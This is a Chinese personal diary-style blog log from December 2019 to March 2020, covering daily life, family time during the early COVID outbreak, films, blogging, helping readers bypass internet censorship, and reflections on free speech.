15:30花了 2 天看完了三个半钟的《爱尔兰人》（The Irishman，2019），越深入研究，才发现自己的无知。所以，这又是一个「一事无成」的周末。
23:382019-12-30
我的博客部署在 Netily，打开速度 3 秒至 5 秒左右。Google 全收录了（搭配 Google Search Console），但是只百度收录了 20 个左右。
近来在闲暇之余，了解了一下「百度 SEO」：乱象丛生。中文互联网环境如此恶劣，有百度的一份「功劳」。
2019-12-31
2019 年的最后一天的早餐：白饭 + 花生 + 豆腐乳，但我并没有感到生活艰难。
08:10我在 2017-01-08 胡诌了一篇名为《为什么喜欢年轻漂亮的姑娘？》文章。转眼 3 年过去了，「悦目情结」和「容貌歧视」在网络上愈演愈烈。文中，我用「进化论」的角度为这种歧视进行「非严谨地」佐证，答案和现实都很残酷。身为丑男孩，我一直告诫自己：己所不欲，勿施于人。多给相貌上的弱势群体一些关爱。I did it.
10:26来年更加优秀鸭。by GYP
上午和老板娘吵了一架，真舒服。不过创业真是不容易，我的上司显然还没准备好。
12 月 26 日就已经预定了 KTV，但是客户经理今天下午居然跟我说忘记登记了。幸好我的手机开启了自动通话录音。并且「谎称」自己有不小的网络影响力，如果发帖曝光此事，将会对他的生意造成不小的打击。所以，遇到不公的事情，要敢于争取自己的正当权利。在电话沟通无效的情况下，要直击现场。
ZZL 通过刻意控制饮食，瘦了，但是不爱唱歌，以及对目前薪酬不太满意。
LS 又变漂亮了，还是那个大大咧咧的孩子。
我们唱得很开心，愉快地跨了年。然后我把 ZZL 带回了我的「睡眠舱」，共枕眠，仿佛回到了高中年代。
2020
2020-01
2020-01-01
新年愿望：找到奋斗的目标。
02:54和 ZZL 一起在睡眠舱看了 1998 年的佳片《两杆大烟枪》（Lock, Stock and Two Smoking Barrels）。
14:44没有招龙陪我睡，我的寝室也失去了「招气」。
2020-01-02
今天忘记写日志了。
2020-01-03
每当早晨坐到工位前，心里都有强烈的想要摸鱼一整天的冲动。by 熊猫小 A
08:30好好工作，努力挣钱，才有话语权。
00:482020-01-04
人生其实特别简单，不过是一日三餐。穷有穷的吃法，富有富的玩法。但是只要身体健康，我们就已经超越了大部分人。
回到以前的饥饿年代，一年只能吃一次肉，但是也不觉得困苦，因为大家都一样。很多时候，幸福是比出来的，但其实不是。怀着对生活的热情，内心就会充盈起来。
买了人生的第一面镜子，洗心革面。
18:562019 年 10 月 9 日买了一张瑜伽垫，今天开始「室内健身」计划。因为我昨天试穿衣服的时候，看到了腰间赘肉。
19:04《极速车王》（Ford v. Ferrari，2019）好看。
23:392020-01-05
在周日早上，给自己做一盘蛋炒饭。
天气这么好，去打篮球了。
16:24酣畅淋漓，真舒坦。
19:12整理完衣柜，真切地感受到以前的穿搭有多随便。
23:242020-01-06
昨夜心烦意乱，蚊子骚扰不断，多次起身对战，拿起电蚊拍就是干。
07:44花了一个晚上了解小白鞋，未下单。
在淘宝买了 2 件白色 T 恤衫（米高格 ￥43，赵九日 ￥69），质量都还不错。
2020-01-07
请假一天，去招商银行开户。
ZYX 因婆媳关系与丈夫 PS 的矛盾还在逐步恶化。
买了一双热风的小白鞋（￥139）。
00:242020-01-08
程序员 Tinyfool 给了很多职业上的思考。
2020-01-09
碌碌无为的一天过去了。
18:34打篮球，穿衬衫 👔，投篮不自由，所以今天只有 60% 的命中率。
19:11保持知识之美，思想永远年轻。by 张小龙
2020-01-10
Wubba lubba dub dub. by Rick
成年人应该懂得人生是个漫长的过程，充满各种可能，所以要学会在「我不会/做不到/不懂」之前加上「现在」，不做宿命论者。by Yurri
（白）头发和烦恼一样长得飞快。
10:18午休梦见大黄蜂（不是变形金刚）追杀我。
家境贫寒，向选购参考网站 亚马跌 捐赠了 ￥2。
以前去网吧，不玩游戏，而是装扮 QQ 空间，譬如现在我在倒腾博客。
23:022020-01-11
I got a wet dream last night due to drink too much water and beer.
08:08我搜集了所有通过《瑞克和莫蒂》学英语的文章，准备大干一笔。
10:14时隔 2 年，再次穿上小白鞋和白色 T 恤衫。
13:39看完了《瑞克和莫蒂》第四季第 5 集，真是太爽了。除了《海贼王》，这部剧也值得深爱。
00:38一躺在床上，蚊子就出动了。
00:502020-01-12
Sadly，白 T 穿了一天，胳肢窝那里就脏了。
09:57我完整看过的纸质书，可能只有一本《暗访十年》，高中午休时，挤出时间看的。
10:43会见 Friendcom 的前同事：
- DHF 老当益壮（一见面给了我大大的拥抱）
- ZGM 纯粹依旧
把 ZYF 的百香果连苗带盆顺走了。
20:12月亮（理想）和六便士（现实）可能都是你的需要和渴望，选择并愿意承担责任。
在 Google 上搜索「庭说」，发现「站内链接」消失了。
2020-01-13
在离家够远的地方工作，唯一的好处就是可以假装过得很好。
少年有梦，独行却不孤独。放弃没有挑战的工作，有自己的坚持。
本次的「优剪」理发师深得我心。
19:55十年前，Google 退出了中国市场。
2020-01-14
当代年轻人的共鸣：我现在身上连一万、一千都凑不出来，但我就觉得那些十几万几十万都是小钱，我不知道我哪里来的自信，我觉得我以后必干大事必成大器，这种感觉特别的强烈！
嘴上说着要开展财务游刃有余计划？然后我继续沉迷于《瑞克和莫蒂》。
00:052020-01-15
春节放假安排：
- 2020-01-18（廿四）开始放假
- 2020-02-02（初九）正式上班；因为新型冠状病毒，改为 2020-02-02（廿四）
把上衣扎进裤子里，扮成型男的模样。
07:57I have a strong attention to detail.
2020-01-16
Google 新版的搜索引擎结果页（Search Engine Results Page）把 Favicon（网站图标）和 URL（网址）放在第一行：巨丑无比，特别难受。几天后，去掉 Favicon 舒服多了。
Jesse Chan（陈家瑾）的博客 大破进击 写得真好，忍不住捐赠的 ￥10，虽然现在穷得一塌糊涂。
恐婚恐育，不要恐爱。
- 见自己：首先要了解自己。
- 见天下：然后不要做井底之蛙，多了解外面的世界。
- 见众生：最后把所学的知识教授给别人。
2020-01-17
终于降温了。
08:09物质上困顿，精神上逍遥。所以我不会轻易结婚，因为这样就会在物质生活上拖累除自己以外的人。
09:10佛系青年：有饭吃，有衣穿，手上的钱能用来培养一点消费主义乐趣，但贫瘠的人生中既缺乏热忱，也没有理想。有人说「何以解忧，唯有暴富」，这大概是消费主义塑造当代中国人精神的一种极致体现。但我终究开始觉得我连暴富都不想暴富了，暴富之后我还要学会进入跟我现在所处舒适区截然不同的阶级，这多麻烦啊。by Jesse Chan
一位大我 7 岁的博客读者（在日本工作的河南朋友）向我抛出了工作和移民的橄榄枝。
11:45关于职业抉择（by 摄影师泰罗）：
- 这个行业长期来看是否在上升期？
- 进步（上升）的渠道是否对我开放？
- 能否获得稳定的成长？
- 短期看收入如何？
- 是否热爱？（爱好 ≠ 能力）
- 能否发挥自己的优势？
试试转行做（前端）程序员吧。
2020-01-18
起床。
05:30出发，回老家。
06:30侄女 ZQL 太久没见我，抓到我之后，就是一顿猛亲。
09:54暖男烧完了所有的暖，就成了渣男。
To be clear, the goal of setting up TingTalk isn't for profit at all.
人生苦短，有什么奇怪的想法要抓紧时间去尝试一下，这样死之前才不会觉得：呀，还有好多想做的事情没有做过，好遗憾。by June Liu
那些听不见音乐的人以为跳舞的人疯了。by 尼彩
到老家了。
12:182020-01-19
未记录。
2020-01-20
冬日里突入而来的太阳，太幸福了。
- Call us：X 战（蘸）鸭
- 窈窕番薯，兔子好食
- 雌雉鸡：第 730 次越狱
- 虾：我数到三，同时放手
- 鸿（红）运当头，摸摸哒
- 明天的宵夜：炒石螺
- 第五道菜：一颗田螺一锅汤
- 猪：我的眼里常含泪水
- 鱼：我的眼里会发出诡异的光
2020-01-21
外婆身体还算硬朗。
2020-01-22
- 爱吃糯米粄的侄女
- 一块就腻的糯米粄
- 猪肉丸的原材料：青口
- 活捉别人家的土狗子
- 哥哥的辣条（偷）吃完了，弟弟还在慢慢品
- 强人锁狗 之 站立式心肺复苏
- 极品牛肝：一片能吃一碗饭
- 每次逛街都要买「水鞋」的侄女
- 山旮旯里的守望者
朋友的 Windows 7 台式电脑，除了「360 浏览器」之外，其他浏览器一律崩溃。远程诊断了几个钟，原来是「百度安全卫士」（2014 年安装，属于卸载残留）搞的鬼。更流氓的是，费了半个钟，才把毒瘤文件粉碎掉。珍爱生命，远离百度。
2020-01-23
山外青山天外天，
绿水肥田惹人闲。
鸡鸣犬吠儿童戏，
合家欢乐是桃源。
by ZXT你的博客真是一个大宝藏。以后有啥我能做的小事情就喊我，我的时间成本相对低一点，这也是你博客对我帮助的一种感激。by 阿飞
2020-01-24
我的父亲刚刚去镇上赶集了，不肯戴口罩，说吸烟的人不怕。
收到 ZGM、TSW、Lucky 的拜年祝福。
春晚暖洋洋，肺炎在人间。
2020-01-25
ZZL 在凌晨 02:46 分发了一个红包，题名：「祝我早日脱单吧，朋友」。
Tim, Happy Chinese New Year to you. May you be healthy in body and all your dreams come true in 2020. by ZX (Kathy)
2020-01-26
看完了《囧妈》（Lost in Russia，2020），觉得以前自己爱得太窝囊。
小钟钟，新年好。by DHF
2020-01-27
NBA legend Kobe Bryant（科比 · 布莱恩特）, daughter perish in copter crash. Rest in Peace.
2020-01-28
去镇上的中学运动场练习驾驶自动档小汽车。
14:44DHF 打电话来，说我太坏了，不给他拜年。
18::10又卡到鱼刺了。
2020-01-29
打牌结束（斗牛 + 炸金花），大概输了一百多块。
03:31又输了六十多。
21:302020-01-30
父亲坚持拉我去华城探亲，带着最普通的口罩。我知道无法说服 Ta 们，只好就犯。
10:15笔记本电脑暂时可用，重启后又死机了。
2020-01-31
又输了 ￥64。
今晚运气爆棚，炸金花炸出来「555」和「222」，不过最终只赢了 ￥50。
2020-02
2020-02-01
金花大赢家买了烧烤架，大大丰富了农村生活。
2020-02-02
今天是对称日，希望满目疮痍的世界多一点称心如意。
重装电脑。
更新博客程序，排错，部署。
02:162020-02-03
疫情之下，身边人认为现在没有收到感染，就是大吉。ta 们对生命的漠视，是不人道的。
内裤不干，于是睡觉没穿内裤，居然没有不适感。
2020-02-04
不再信任虚无的共同体，去爱一个个具体的人。
人活着就是一件虚无的事，这没有办法。人生来就知自己有死的一天，活着是通向死的必然通道。只是人不是一个人活着，是与很多人一起活着。大家结伴而行，能好好走，就好好走吧。
2020-02-05
I'm going to have to learn to hold my tongue. 我以后得学会管住自己的嘴。
悬而未决的 2020 ，工作，生活，恋爱关系，我该如何开始？我是否可以做一个温润如玉的谦谦君子，少一些对社会的抱怨？不那么浮躁？
在 Typora 上花了半个钟对深圳已公布的 271 个「新型肺炎」病例.pdf 进行了排版优化，并将其更新在 石墨文档。
22:002020-02-06
在 bilibili.com 看了 Poly Bridge（桥梁建造师）的 视频，立刻去 Play 商店花了 0.99 美金（税额 0.05 美金，实付 1.04 美金）拿下来了。发现无法同步存档，于是卸载。冲动（消费）是魔鬼。
2020-02-07
利用 纯纯写作 App 的格式化选项（去除段首缩进），对深圳新冠肺炎治愈病例稍作排版，并更新在 石墨文档 里。
00:56昨夜脚寒，久久未能入眠。
帮助读者科学上网，收到感谢金 ￥58。
20:34整理旧物……
广东省 2013 年普通高考成绩通知单：
- 语文 114
- 理科数学 114
- 理科综合 205
- 英语（含听说） 120
- 总成绩 553
- 排位总分 553
- 理科排名 57179
2013-06-25为了获得草榴社区的邀请码，我写了 6 页的「技术讨论区」版规。
2016-03-042020-02-08
经过多天的鏖战，终于完成了 A2N 深圳站的整理排版工作。
00:22母亲：「整天拍这些花花草草，能不能去拍拖？」
儿子：「不能，拍拖太累了。」
很久没有在家过元宵节了。
2020-02-09
坐在电脑前码字，脚好冷。于是在进入被窝之前，用热水冲了一下脚根子，我真是冰雪聪明。
00:44亿万年来生命所面临的竞争，不仅来自于生命与生命之间（类似细菌、真菌等微生物和大型生物之间的竞争），还有整个生物圈的所有生病和病毒等类生物的竞争，因为这一切的存在都是分子自我复制的无意识原始动机。by 思维实验室
4 年前因为一场重大的变故，我开始思考人生的意义，一番求索之后，我似乎找到了答案：人类也是基因表达的工具，生存和交配是外在的表现形式。自此之后，得舍变得不那么重要。一切都是狗屁，为了抗击自私的基因，我只管满足自己的好奇心。Inner Peace。
Fuck，微信 Windows 版不能发送「亲子视频」，并且不会显示「发送失败」的惊叹号所以你会以为「发送成功」了。
没想到我的外甥（女）侄女这么可（wán）爱（pí），也遭到无差别审查了。
22:482020-02-10
我更晚睡了。
03:08受够了爱奇艺和腾讯视频？假期余额又被充值了？我推荐去 低端影视 瞧一瞧：
- 在线观看
- 超清画质
- 没有广告
- 界面清爽
- 非删减版（导演剪辑版 / 数字修复版）
Tips
- 不要使用国产浏览器，使用 Edge、Chrome 或 Firefox。
- 有些资源「死了」，站长在更新，先看「热门」和「推荐」栏目。
- 如何记住（歪解）域名：如果人类一味地从大自然索取，纵使我们（me）是「高级智慧生物」，在病毒面前，也是低端人口（ddrk）。
- 在生物学上，病毒和人类都是进化论的极端。病毒是低端（简单）到不能再低端的「类生物」，即不能算真正的生物，只能寄人篱下。而站在食物链顶端的人类，复杂到「你笑起来真好看，像春天的花一样」。在这场较量中，希望人类可以活下来，因为《海贼王》还没有完结。
2020-02-11
在福建的 ZYF 现在是「新型冠状病毒」间接接触者（和医护人员一起烤地瓜，而医护人员的医院有感染者），希望没有被感染，希望免疫力可以帮助 Ta 们度过难关。
00:27【淘宝网】订单：841055330817442312，该商品被识别为风险商品处罚，为保障您的利益，系统自动退款处理。
网购口罩又泡汤了。
花了 20天看完了 安迪 做的《瑞克和莫蒂》的解说视频（前三季），大爱这位 Up 主。
19:192020-02-12
荒废了一天，只更新了 番茄食用指南。
2020-02-13
我落入城市的胃口，被上下班的牙齿慢慢嚼碎。
大多数人宁可相信美丽的谎言，而不愿直面丑陋的真相。
2020-02-14
我加入共青团时间是 2008 年 5 月 4 日。
有道云笔记中的密码备忘表，已迁移至 KeePass。
15:36随 ZQJ 去封路，防止其他村子的人进来。
ZYT 把在县城的女儿 BCX 接回村子里来，ZQL 有伴了，我就解脱了。
JYF 分手了。
2020-02-15
年轻的十八九岁的男孩子，他心里装的女子大概比皇帝的三宫六院还多，他们对女人的想法比厕所还要肮脏，但是与此同时他们又向往最纯洁最美好的爱情，这是青春时代的一个非常有趣的矛盾。by 钱钟书
我不保证能爱你一辈子，但在我们的爱逐渐消减的日子里，我依然会不离不弃，保持理解与体贴，静等爱意，再度来袭。by 安迪视频
获得 2 笔博客收入：
- WTF 赞赏 ￥8.88
- flycloud 返利 ￥140.2
用了五六年有道云笔记，今天把全部文章手动导出到 Typora + 坚果云 Markdown。因为数据只有掌握在自己手上，才有安全感。
2020-02-16
欢乐地看完了《小羊肖恩 2：末日农场》（Shaun the Sheep Movie: Farmageddon，2019）。
270 多年前，卢梭在《论人类不平等的起源》里指出人的异化处境：人类脱离自己原有的天性，在社会的形成过程中逐渐扭曲变形，原本平等的人类动物界，因为私有制的产生而逐渐充斥着不平等和压迫。因为技术的发展，人得以过上舒适的生活，而人一旦习惯了一种舒适，就再也不觉得它有多舒适了，相反没有它就会觉得难受。于是，人类无止境地追求更好的享受开始了，人也在这种追求中，从自然动物被「异化」成「啥都要拿来比较」的文明人。
2020-02-17
开通了「庭说TingTalk」的微信视频号。
01:15钟哥，现在疫情比较严重，公司还有一些口罩，您地址多少？给您寄几个留作备用。by 背包供应商ZC
battlele.com 的创始人向我推荐了一部日本连续剧：《下辈子我再好好过》（来世ではちゃんとします，In the Next Life I Will Be Serious，2020）。那里的「小人物」活在自己的世界里，纯粹而美好。
今天发现自己在写作的时候没有遵循国家标准：并列形容词之间不用标点符号或者用逗号，正确的用法是顿号。下面请看来自《中华人民共和国国家标准标点符号用法（GB/T 15834—2011）》的示例：这里有自由、民主、平等、开放的风气和氛围。
2020-02-18
今天是我的农历 26 岁生日（不过新历），希望自己可以更稳重。
撰写 Saladict 沙拉查词 推荐文章花了我五个钟，虽是拼凑成文，我也感到充实而欣慰。
01:50
~祝你这一年 blog 访问量几何数倍增长，越来越骚。by battlele.com
生日快乐（￥27）by TSW
得一交又过大（摔一跤，长更高）。by ZT
给茶树施肥。
香芋粉粉的，香喷喷，可口极了。
晒着太阳，吃着薯片，玩着手机，这样的日子实在太惬意了。
14:28给山顶的茶树施有机肥（鸡屎）。
那一天我二十一岁，在我一生的黄金时代。我有好多奢望。我想爱，想吃，还想在一瞬间变成天上半明半暗的云。后来我才知道，生活就是个缓慢受锤的过程，人一天天老下去，奢望也一天天消失，最后变得像挨了锤的牛一样。可是我过二十一岁生日时没有预见到这一点。我觉得自己会永远生猛下去，什么也锤不了我。by 王小波
2020-02-19
每一粒熬过冬天的种子，都有一个关于春天的梦想。
坐在太阳下，从上午晒到中午，然后睡个下午觉，美滋滋。
前段时间，父亲的右肋骨在整理鸡窝的时候弄伤了，我以为可以自愈。今天看到父亲直不起腰的样子，心里非常愧疚。明天尝试拍一些照片，问问我那些学医的同学。
01:422020-02-20
把一整本高中同学录拍照存档了：高中 31 班全班有 59 个人，49 人填写了这本同学录。
2020-02-21
得了尿疾的外婆坦言自己时日不多。
今天帮助喜欢英语的读者 Winni（LZ）翻了墙（20:30）。Ta 是个好苗子，以后抓来练口语。
12:262020-02-22
今天醒得出奇地早。
07:55下午去田里躏禾头。
晚上继续教 Winni 科学上网。
00:132020-02-23
方可成老师，公众号《新闻实验室》的作者，因为「网络暴力」，被哔哩哔哩和微博「无理由」封杀。欢迎在 YouTube 订阅 方可成 FANG Kecheng 的频道：
关于言论自由，We NO the Future：
- 我们知道（KNOW）未来
- 我们没有（NO）未来
2020-02-24
诚实的表达，平等的交流，理解他人的痛苦，是对此刻强烈的提醒。by 许知远
2020-02-25
就算穷困潦倒一辈子，我也有不会成为中国官僚体制的喉舌。
很少做梦的我，昨晚梦见「电动剃须刀」有电了。
因为官方宣传它可以「充电 1 小时，使用 99 分钟」，所以没有带充电器回老家。
刚刚告诉 ZX（Kathy）注册 Google 账号的方法，她成功注册了，说道：「你就是我在互联网黑暗世界里的一盏明灯！」并给我发了 ￥88 的微信红包。但我不能收，因为太大了，虽然我现在一穷二白。
2020-02-26
今天去鱼塘清理「入侵物种」水浮莲，徒手抓到了 3 条斗鱼（客家话：胖菩萨），好开心。
钟健夫，《南风窗》的创始人之一，写了 2 篇（长）文章，介绍客家斗鱼的故事：
2020-02-27
一个很棒的读者（LY）加我：
- 人类是基因的努力
- 想肉翻出国（爱萨尼亚）
- 专业游泳教练🏊
晦涩难懂的《2001 太空漫游》（2001: A Space Odyssey，1968）。
有钱人吃鲍鱼，普通人吃煲仔饭，但不要攀比和嫉妒有，因为这两者的营养成分没有太大的区别。
城市是孤立而乏味的存在，故乡是充满泥土味的画册。
2020-02-28
Telegram 电报新手指南、使用技巧及频道推荐 初稿完成。
02:30健康很难修复，生命只有一次。做了什么样的选择，就要承受什么样的结果，但不可以危及他人的生命安全。
我在 Telegram 上遇到了高中化学老师（XRH），现在我成了 Ta 翻墙的老师。Ta 说：
- 能翻墙，说明（你）人不错！
- 现在听风就是雨，不懂翻墙就等死。
- 教人翻墙不怕被抓吗？
我注册 Twitter 才 4 年而已。
Telegram 电报新手指南、使用技巧及频道推荐 越写越多，恐怕明晚还要熬夜。
01:39《花木兰》吻戏被剪，理由「对中国观众来说感觉不合适」。所以，除了哔哩哔哩（B 站），我几乎不看国内的视频网站的内容（优酷引进的《布鲁伊》还不错）。想看优秀电影 / 连续剧，去豆瓣找，接着去 Google 搜。在线赏，下载看，两相宜。
02:122020-02-29
「穷开心 Foolishly Happy」俱乐部终（钟）身会员。
他们都说做生意要讲诚信，但是，只有两三个人的小贸易公司，却要打造一个真正的生产工厂来跟别人谈生意，这就是所谓的诚信吗？我不明白。by 刚做外贸的 ZX（Kathy）
为你，我挥动羽毛球拍，千千万万遍。by 追苍蝇的人。
只要自己心态好，够快乐，住哪里都是无限大。因为精神世界足够充实，到哪里都是自己的宇宙。by 东亚悍匪阿_张
这位 Up 主的精神世界是制作视频，而我的兴趣部落是写博客。虽然我们一无所有，只住在窘迫的睡眠舱，但是我们都很快乐。Peace。
小学同学 ZLD 单刀开车赴会来见我，带了西瓜 🍉 和牛奶 🐮，实在太有心了。希望我的胡须没有吓到 Ta，希望 Ta 过得越来越好。
17:562020-03
2020-03-01
为什么要写诗？现代汉语就像用脏了的人民币，我要把它洗一洗。by 顾城
当下疫情形势严峻，是否可以牺牲老人以保中华民族的永存，在之后的部分中，作者也表示自己写的东西“极端挑战中华民族孝道伦理”，但又透露出一种自己虽然说话不好听可却是以大局为重的深意。
我不同意这篇文章的观点，不仅因为其挑战了中华民族的孝道伦理，也在更大尺度上违背了人类这个物种繁衍进化的底层逻辑。
原文作者恐怕不知道的是，人类这个物种在早期本是没有老人的，老人其实是被进化出来的。
在百万年尺度的进化过程中，人类始终面临着一个致命的矛盾，那就是脑容量在不断扩大，而为了保证直立行走时的协调性盆骨又得足够收敛，当大脑袋和小盆骨这两种性状同时共振在一个物种身上时，就带来了极度危险和困难的分娩过程。
在这种困难的筛选之下，人类进化出了一种早产策略，就是在胎儿还没有发育的过大时就先将其生下来，以降低分娩的难度，可这又带来了另外一个问题，那就是人类婴儿由于早产而十分娇弱，在出生后相当长的一段时间里甚至无法像其他哺乳动物的幼崽那样移动自己，更谈不上独立生存，这时候，婴儿就只能完全依赖母亲。
然而，石器时代生产力水平极其低下，在险象环生的野外携带并照顾一个哭闹脆弱的婴儿是非常困难的一件事，一个母亲被孩子占据了过多的时间精力，生存下去的几率也就大大降低，这看似是个绝境，但生命总是可以找到出路，人类当时找到的出路，就是老人。
族群中的一些个体特别是女性个体如果寿命足够长，能坚持到自己的孩子也完成生育，那么她就可以帮助自己的女儿辈照顾自己的孙女辈，就像外婆帮妈妈带外孙女一样，这样一来，母亲的压力极大缓解，孙辈的成活率极大上升，而外婆长寿的基因也就因此得到了延续和扩散，当这种长寿基因在物种内达到一定比例后，人类中的年长者就不再是零星个例，而成为了一个年龄层，这就是老人被进化出来的过程。
长寿也就意味着更长的发育时间，而发育时间长意味着更高大的体格，我们从人属早期物种（如能人）的身材上，可以明显看到人类在演化过程中是如何变的高大起来的，这被视为上述理论的证据之一。
老人给我们这个物种带来的直接和间接影响早就被学界观察到并进行了研究，感兴趣的朋友不妨了解一下“外祖母假说”（Grandmother Hypothesis ），值得一提的是，人类并不是唯一有外祖母效应的物种，不过那就是另外一个话题了。
通过上文介绍，我们可以了解到，从百万年的进化尺度来看，老人不仅不是负担，反而还是人类绝境中的出路 ，他们不仅没有给社会增压，反而还在人类自身矛盾无法调和时带来了至关重要的减压效应，可以说，老人本身就是人类为了延续和拯救自己而出现的。
在人类社会进入文明时代后，积累的知识、过人的阅历、丰富的人际关系等等因素，又让老人得以承载更多的价值、起到更大的作用，并在文明开化的社会中拥有更广阔的生态位，由于篇幅已然太长，在这无法展开，但无论是罗马还是华夏，东西方两大文明高峰都对虐待老人的行为深恶痛绝，这是因为道德是社会实践的产物，而社会实践恰恰表明，尊敬善待老人与群体内所有人的福祉是相契合的。
综上所述，无论是从进化层面还是文明层面来看，老人给人类社会带来的都是积极正面的作用，当前全国已然因为疫情承受重压，在这种情况下牺牲为社会带来助益的老人在逻辑上无法自洽，我反对那位作者的观点。
在微博上时常可以看到一种倾向，仿佛残酷的就是深刻的，冷血的就是理智的，不，并非如此，在现代社会中，残酷的更有可能是偏激的，冷血的更有可能是愚蠢的，社会达尔文和真达尔文在真理的桌面上掰手腕子，社达掰不过的。
by 河森堡
从 2019 年起，我开始（几乎）无偿帮助亲朋好友和庭说读者，与全球互联网自由相连。倒不是因为通过 tingtalk.me/fq 购买番茄，我可以获得微薄的返利（与我投入的时间和精力相比不足为道），而是我认为这才是「营造清朗的网络空间」的第一步。为此，我经常更新番茄教程到深夜，但也不觉得疲惫。纵使有些读者，半夜 2 点请求远程协助，也不觉得叨扰，而是一种甜蜜的责任。
为了及早写完这篇文章，没有全身洗澡，只刷了牙和洗了脸。
22:302020-03-02
我的注意力总是飘忽不定，不好好写博客，转向研究：Telegram Animated Emoji List（电报动态大表情合集）。没救了。
02:0703:00 睡，07:30 就醒了，总感觉遗漏了 Animated Emoji。于是打开 Telegram，手动检验了三千多个 Emoji，发现漏网之鱼：😐 和 ⛄️。
今天直接把传统保险公司的代理人 ZYX 直接说哭了，因为 Ta 们很少站在客户的角度配置保险。
18:292020-03-03
自由的互联网，是当代数字生活的基础。每帮助一个人跨越那一道墙，感觉这个世界就美好的一丢丢。
10:312020-03-04
No matter what you do it will never amount to anything more than a single drop in a limitless ocean. What is an ocean but a multitude of drops? 无论你怎样努力，也不过是汪洋大海里的一个水滴。没有水滴，哪来的汪洋大海？（滴水成海）
A half-finished book is, after all, a half finished love affair. 一本未尽的书便似一段未了的情（读到一半的书就像谈到一半的恋爱一样）。
Our lives are not our own. We are bound to others, past and present, and by each crime and every kindness, we birth our future. 我们的生命不是我们自己的，从子宫到坟墓，我们和其他人紧紧相连。无论前世今生，每一桩恶行，每一项善举，都会决定我们未来的重生。 by 《云图》（Cloud Atlas，2012）
02:37从生物学上来说，生命只有一次，但人类所学的知识是可以固化并传承下来。因此，从某种意义上来说，我们的前世获得了「重生」。
公众号「庭说」：
- 2015-04-28 注册
- 2016-04-29 正式开业
- 2020-03-04 关注者达到 500 人，可开通流量主：获得广告分成、返佣等多种变现能力。
15:03
从「世俗意义」和「微信公众平台」上来说，这是一个极其失败的自媒体。然而，我一点都不着急，特别是开了博客之后。因为我“写”的文章不是为了获取浏览量：真诚的文字，清爽的排版，每打开一次，对我来说，都是一种享受。
家人说我的觉很好睡，纵使窗外有一只野猫在嗷嗷叫，早上起来我也不知道。为什么能睡得这么香？因为没有什么事情值得我焦虑：
- 我没有做标题党，欺骗读者点进来。
- 我几乎每天都会帮助读者实现互联网自由，而助人是快乐的，因为「被需要」了。
- 我把自己想象成一个老男孩，对世界保持好奇心，平凡的日子也不会觉得枯燥。
归结为一句话就是：保持身体健康，尽量做到 Keep it real，也许就可以获得 Inner Peace。晚安，世界和你。
23:592020-03-05
我喜欢称呼「关注者」为「读者」，而不是「粉丝」，因为前者的关系更平等。诸如此类：给作者「加鸡腿 🍗」是「赞赏」，而不是「打赏」。
大部分人做着不快乐赚钱也不多的事，一部分人做着赚钱多但不快乐的事，更少的人做着快乐但不赚钱的事，极少数的人做着快乐且赚钱的事。我做出了选择，我清楚代价。by 黄猫
你的博客里的内容简直是宝藏，看完感觉打开了新世界的大门。by SBH
如果总是嫉妒你得不到的东西，你会生病的。相反，我尽量积极一点，感谢我所拥有的一切。我努力保持一个勤劳的工作者的尊严。 by 金双石
实现财务自由的同学让我多看看车，这样才有动力去挣更多的钱。我保持沉默，我会不会放弃了向上流动的希望呢？
14:11和很多国家标准（一些需付费购买）一样，《新型冠状病毒肺炎诊疗方案（试行第七版）》也是扫描版：无法复制、侧边栏无法生成目录（TOC）。难道是为了防止别人剽窃其中的「中医治疗」妙方？
14:352020-03-06
Telegram 有太对值得挖掘的地方了，写到停不下来，只好频频拖稿。
01:14家里的伙食太好了：香浓鱼头汤、多汁蒸牛肉、弹牙萝卜干、娇嫩油麦菜、厚实腐肉卷、饱满肉包子……下到深圳只能吃青菜，怎么办？
09:23明天进城打工🧔顺便去找遗失在「水泥森林」里的「电动剃须刀🔌充电器」👹。
公众号庭说开通流量主之后，有 1 人点击了底部广告，获得 ￥0.21 的收入。
2020-03-07
返深。
09:40到深。
15:00斗鱼放在厕所的脸盆里，结果跳出来了，直接把 Ta 们冲走太残忍了，只好用筷子把 Ta 们从蹲坑里夹出来。
5 岁的外甥 PY 出尔反尔，说好和我睡，到了 22:30 就喊爸。
2020-03-08
把蓄了一个月的胡子剃了，一下子年轻了五到六岁。
01:30王公使：中国有九千万共产党员，每年还有两百万人入党，其中 80% 不到 30 岁，如果你觉得他们是笨蛋，那是在侮辱 Ta 们。
我对党员保持中立的态度，因为一些人入党并非出于主观意愿，可能是为了合群或更好的仕途，毕竟个人力量是很难对抗这个「墙」大的国家机器。
大学一年级的时候（那时还不会翻墙），我假装去竞选入党积极分子。站在讲台前，我对着全班 46 位同学说的第一句话是：「我是积极的反共分子……」。经过投票，我戏剧性地拿到了这块入党的敲门砖。
然而，入党还要一个校级奖，所以毕业后，我还是入党积极分子。
不过，这块砖头还是砸到自己的脚了。2018 年 3 月 13 日，因转发一则调侃 “国家领导人” 的 Twitter 到 24 人的微信群，几个钟后，我被警车带到最近的派出所喝茶，训诫原因：「传播不当言论罪」。
我无心议政，但你不能封锁我的互联网。因为现实生活已经够压抑，请不要审查我的数字生活。
我的睡眠舱现在不仅有斗鱼，还有了猫咪 🐱。
洗碗，扫地，拖地，我挺适合做家庭主夫。
22:18猫咪窝在我的笔记本旁边，感觉特别幸福。
22:272020-03-09
我跟你的经历差不多，3 月 3 号转发了一个隐晦的藏头诗到 20 人的微信群，微信号被永封，罪名是恶意传播谣言等不实信息（这时并不知道被封原因）。3 月 5 号想申请解封，因为腾讯视频 VIP 需要微信登录，并且自认为没有传播任何谣言，于是点了申请人工介入，结果 6 号就被请喝茶了，到了派出所才知道被封禁的原因是无心转发的藏头诗，对国家领导人不敬。by Tom
把无聊的生活幽默化，才能活得开心。
匆匆来「优剪」理发，忘记戴口罩，于是问理发师 Terrys 店里是否有口罩，没想到他把自己仅有的一个口罩给了我，希望他不上班的时候有口罩戴。不仅如此，他理发还特别认真细致，服务时间长到我都快打瞌睡了（褒义）。我觉得优剪应该加一个赞赏的功能（类似公众号），让良心的手艺人发光发亮。
21:432020-03-10
好朋友 LMZ 要开启外贸之路了，希望可以祝 Ta 一臂之力。
每次做出改变人生轨迹的决策，我都没有经过长期的煎熬、痛苦的挣扎、周密的思虑。
所有动物的本能都是趋利避害，生而为人，既和动物一样，也和动物不一样。人和动物不一样的地方，是有情感。
人们总是懒惰的、贪婪的、虚荣的、好色的... 千百年来的「现实」，其实没有发生过任何变化。这一点，也不需要讨论。每个成年人都应该认识到这个现实，包括对自己的认识。
